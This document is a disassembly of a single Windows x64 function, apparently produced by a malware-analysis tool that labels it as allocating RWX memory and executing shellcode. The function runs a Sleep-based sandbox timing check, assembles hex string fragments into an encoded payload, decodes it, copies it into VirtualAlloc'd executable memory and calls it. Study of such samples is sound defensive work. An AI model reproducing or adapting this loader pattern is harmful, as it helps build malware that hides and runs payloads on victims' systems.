Function at 0x14000174e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
sub rsp, 0x620
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x5b0], ecx
mov qword [rbp + 0x5b8], rdx
call sym.__main
call sym.clock
mov dword [rbp + 0x59c], eax
mov dword [0x140004004], 0
mov ecx, 0x31e
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.clock
mov dword [rbp + 0x598], eax
mov edx, dword [0x140004004]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov ecx, 0x6fa
call sym.malloc
mov qword [rbp + 0x590], rax
mov edx, dword [0x140004004]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov eax, dword [rbp + 0x598]
sub eax, dword [rbp + 0x59c]
cmp eax, 0x31d
jle 0x1400023f5
mov eax, dword [rbp + 0x598]
sub eax, dword [rbp + 0x59c]
cmp eax, 0x381
jg 0x1400023f5
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.MbPBnDf
mov rcx, rax
call sym.printf
lea rax, str.9e055d5557b3c744e480
mov qword [rbp + 0x588], rax
mov eax, dword [0x140004004]
add eax, eax
mov dword [0x140004004], eax
lea rax, str.778465445443cccf2d44444804558548f6764
mov qword [rbp + 0x580], rax
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
lea rax, str.e4243c447e86450bc5c4305efc548c
mov qword [rbp + 0x578], rax
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.f52f00c0d0f70a0362c98515f962af674766266642367236730ca39a5ecb96638499e082abfd0589843d7b2090db
mov qword [rbp + 0x570], rax
mov edx, dword [0x140004004]
mov eax, dword [section..data]
add eax, edx
mov dword [section..data], eax
lea rax, str.7592633fc23ee67b530b00be98f40f9d2b4c505f3320b03480112112b2b2b
mov qword [rbp + 0x568], rax
mov edx, dword [section..data]
mov eax, dword [0x140004004]
imul eax, edx
mov dword [0x140004004], eax
lea rax, str.2b2f7d1101c01d12d180b811825080847008409369
mov qword [rbp + 0x560], rax
mov edx, dword [0x140004004]
mov eax, dword [section..data]
add eax, edx
mov dword [section..data], eax
lea rax, str.188d110191151c49
mov qword [rbp + 0x558], rax
mov dword [section..data], 0
lea rax, str.184496184c91b81819a198312818bffdae79e019611765
mov qword [rbp + 0x550], rax
mov eax, dword [0x140004004]
mov edx, dword [section..data]
sub eax, edx
mov dword [section..data], eax
lea rax, str.881109101695b89810d11a31af6b99129d18042abbf9630f88970ff92adbf0f10ffc1b3102ffa80f5
mov qword [rbp + 0x548], rax
mov edx, dword [0x140004004]
mov eax, dword [section..data]
add eax, edx
mov dword [section..data], eax
lea rax, str.df64a1137547575af8b
mov qword [rbp + 0x540], rax
mov eax, dword [0x140004004]
mov edx, dword [section..data]
sub eax, edx
mov dword [section..data], eax
lea rax, str.ce157fe7774ed9b53d1e4dfcc5e83012c0d500b9e73400b29e4e0a02d8ebff0715b5b16d02ac27f636c7359
mov qword [rbp + 0x538], rax
mov edx, dword [section..data]
mov eax, dword [0x140004004]
add eax, edx
mov dword [0x140004004], eax
lea rax, str.d68f2c8bca803ff5bff886d61b06
mov qword [rbp + 0x530], rax
mov edx, dword [0x140004004]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.45c21a8b95f4804b32979bfea54b1fe329e8c101ed0d30ac07981e2681001800001a3
mov qword [rbp + 0x528], rax
mov edx, dword [0x140004004]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.5838991a10099
mov qword [rbp + 0x520], rax
mov edx, dword [section..data]
mov eax, dword [0x140004004]
imul eax, edx
mov dword [0x140004004], eax
lea rax, str.26f540467850885000fd43362e9081f8fc044553686818285044c3a602c00e558244d81078008
mov qword [rbp + 0x518], rax
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.74d81820e4c8804c3ac003744037582068481
mov qword [rbp + 0x510], rax
mov eax, dword [0x140004004]
add eax, eax
mov dword [0x140004004], eax
lea rax, str.0404d5554444e4f55414f50b6660584fb7
mov qword [rbp + 0x508], rax
mov eax, dword [0x140004004]
add eax, eax
mov dword [0x140004004], eax
lea rax, str.0d34d34c55b5ad74cb2034464459fe584d84c6085
mov qword [rbp + 0x500], rax
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.b53d84c6584dcff4c5b07dc800f080ee00af254e51
mov qword [rbp + 0x4f8], rax
mov edx, dword [0x140004004]
mov eax, dword [section..data]
add eax, edx
mov dword [section..data], eax
lea rax, str.c0bb5bfe908146114be22180b
mov qword [rbp + 0x4f0], rax
mov edx, dword [0x140004004]
mov eax, dword [section..data]
add eax, edx
mov dword [section..data], eax
lea rax, str.ed8c7d023562663476633267766254332667253327662
mov qword [rbp + 0x4e8], rax
mov edx, dword [0x140004004]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.22026c103d96a6d2f2fdd51ff996478a91d72bf73ac0c44a02bf067c9c91f7d2bb
mov qword [rbp + 0x4e0], rax
mov edx, dword [section..data]
mov eax, dword [0x140004004]
imul eax, edx
mov dword [0x140004004], eax
lea rax, str.cb5a038b5bc017927cd97ccb0b8b2eb07dbc72c9aab110aa704faf4c04400440455
mov qword [rbp + 0x4d8], rax
mov edx, dword [section..data]
mov eax, dword [0x140004004]
add eax, edx
mov dword [0x140004004], eax
lea rax, str.f454e84db208418f4c876008755000c9f323233336c808
mov qword [rbp + 0x4d0], rax
mov eax, dword [section..data]
mov edx, dword [0x140004004]
sub eax, edx
mov dword [0x140004004], eax
lea rax, str.0010685808880808aa98cc2c191121b22c068b2b005081
mov qword [rbp + 0x4c8], rax
mov edx, dword [0x140004004]
mov eax, dword [section..data]
add eax, edx
mov dword [section..data], eax
lea rax, str.b8b0108fb41698c1d180c385
mov qword [rbp + 0x4c0], rax
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.58b010bcb01048018e181ac0f09a29ff099e5469c9ac7
mov qword [rbp + 0x4b8], rax
mov dword [section..data], 0
lea rax, str.f192dd101aa7f3a11f019111179f5b881989220215e5883aa91a9ffd12168555d08f4009
mov qword [rbp + 0x4b0], rax
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
lea rax, str.408ff0b964d23f5409ef5de480613798ec0eb845768e05275a0a91f00fd49
mov qword [rbp + 0x4a8], rax
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
lea rax, str.5b399e074f0e6e0445f59d47452ac9f4dd12166954c169652e4ec69ddd3dd1f13
mov qword [rbp + 0x4a0], rax
mov eax, dword [0x140004004]
mov edx, dword [section..data]
sub eax, edx
mov dword [section..data], eax
lea rax, str.44b834077b2e
mov qword [rbp + 0x498], rax
mov edx, dword [section..data]
mov eax, dword [0x140004004]
add eax, edx
mov dword [0x140004004], eax
lea rax, str.53a52655cf892f2d76ad6a1a0bb
mov qword [rbp + 0x490], rax
mov edx, dword [0x140004004]
mov eax, dword [section..data]
add eax, edx
mov dword [section..data], eax
lea rax, str.aab0ef568fe26eab85175f19902cd
mov qword [rbp + 0x488], rax
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
lea rax, str.52005f59a0000190084f533788980
mov qword [rbp + 0x480], rax
mov eax, dword [0x140004004]
mov edx, dword [section..data]
sub eax, edx
mov dword [section..data], eax
lea rax, str.091a9283506b1357880038ffe1e323ae4e054444444432cc4536080c044df3d444e04d4d04d84555
mov qword [rbp + 0x478], rax
mov edx, dword [0x140004004]
mov eax, dword [0x140004004]
imul eax, edx
mov dword [0x140004004], eax
lea rax, str.2e5ef467484fc4343f540c558d43d5442480f4f34189480eef45edc
mov qword [rbp + 0x470], rax
mov edx, dword [section..data]
mov eax, dword [0x140004004]
add eax, edx
mov dword [0x140004004], eax
lea rax, str.84baab23eb07760762622663425642563030782
mov qword [rbp + 0x468], rax
mov dword [0x140004004], 0
lea rax, str.94087c2d417e087d6d9a17888a864e64766e307285
mov qword [rbp + 0x460], rax
mov edx, dword [0x140004004]
mov eax, dword [section..data]
add eax, edx
mov dword [section..data], eax
lea rax, str.d894d081f0bdb01b0ad54804be8c8cd40ef333d
mov qword [rbp + 0x458], rax
mov eax, dword [section..data]
mov edx, dword [0x140004004]
sub eax, edx
mov dword [0x140004004], eax
lea rax, [rbp - 0x60]
mov edx, 0x4a7
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov rdx, qword [rbp + 0x588]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcpy
mov dword [section..data], 0
mov rdx, qword [rbp + 0x580]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [0x140004004]
add eax, edx
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x578]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
mov edx, dword [0x140004004]
sub eax, edx
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x570]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x140004004]
mov eax, dword [section..data]
add eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x568]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x140004004]
mov edx, dword [section..data]
sub eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x560]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x140004004]
mov edx, dword [section..data]
sub eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x558]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x140004004]
mov eax, dword [section..data]
add eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x550]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
mov rdx, qword [rbp + 0x548]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
mov rdx, qword [rbp + 0x540]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov dword [0x140004004], 0
mov rdx, qword [rbp + 0x538]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
mov edx, dword [0x140004004]
sub eax, edx
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x530]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov dword [0x140004004], 0
mov rdx, qword [rbp + 0x528]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
mov rdx, qword [rbp + 0x520]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
mov edx, dword [0x140004004]
sub eax, edx
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x518]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov dword [0x140004004], 0
mov rdx, qword [rbp + 0x510]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
mov rdx, qword [rbp + 0x508]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
mov edx, dword [0x140004004]
sub eax, edx
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x500]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x140004004]
add eax, eax
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x4f8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [0x140004004]
add eax, edx
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x4f0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x140004004]
mov edx, dword [section..data]
sub eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x4e0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov dword [section..data], 0
mov rdx, qword [rbp + 0x4d8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x140004004]
add eax, eax
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x4d0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
mov edx, dword [0x140004004]
sub eax, edx
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x4c8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [0x140004004]
imul eax, edx
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x4c0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [0x140004004]
add eax, edx
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x4b8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
mov rdx, qword [rbp + 0x4b0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x4a8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x140004004]
mov edx, dword [section..data]
sub eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x4a0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x140004004]
mov eax, dword [section..data]
add eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x498]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x140004004]
add eax, eax
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x490]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x140004004]
mov eax, dword [section..data]
add eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x488]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
mov edx, dword [0x140004004]
sub eax, edx
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x480]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x140004004]
mov edx, dword [section..data]
sub eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x478]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x140004004]
add eax, eax
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x470]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x468]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [section..data]
mov eax, dword [0x140004004]
add eax, edx
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x460]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x140004004]
mov edx, dword [section..data]
sub eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x458]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x140004004]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rax, qword [rbp + 0x590]
lea rdx, [0x140005780]
mov rcx, rax
call sym.qbkOjh
mov qword [rbp + 0x450], rax
mov eax, dword [0x140004004]
add eax, eax
mov dword [0x140004004], eax
mov rdx, qword [rbp + 0x450]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.yBSSsNX
mov eax, dword [0x140004004]
add eax, eax
mov dword [0x140004004], eax
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4a7
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x448], rax
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0x448]
mov r8d, 0x4a7
mov rdx, rax
call sym.memmove
mov rax, qword [rbp + 0x448]
call rax
mov edx, dword [section..data]
mov eax, dword [0x140004004]
add edx, eax
mov eax, dword [0x140004008]
add eax, edx
mov edx, eax
lea rax, [0x140005782]
mov rcx, rax
call sym.printf
jmp 0x14000240f
mov dword [0x140004004], 0
lea rax, str.MbPBnDf
mov rcx, rax
call sym.printf
nop
add rsp, 0x620
pop rbp
ret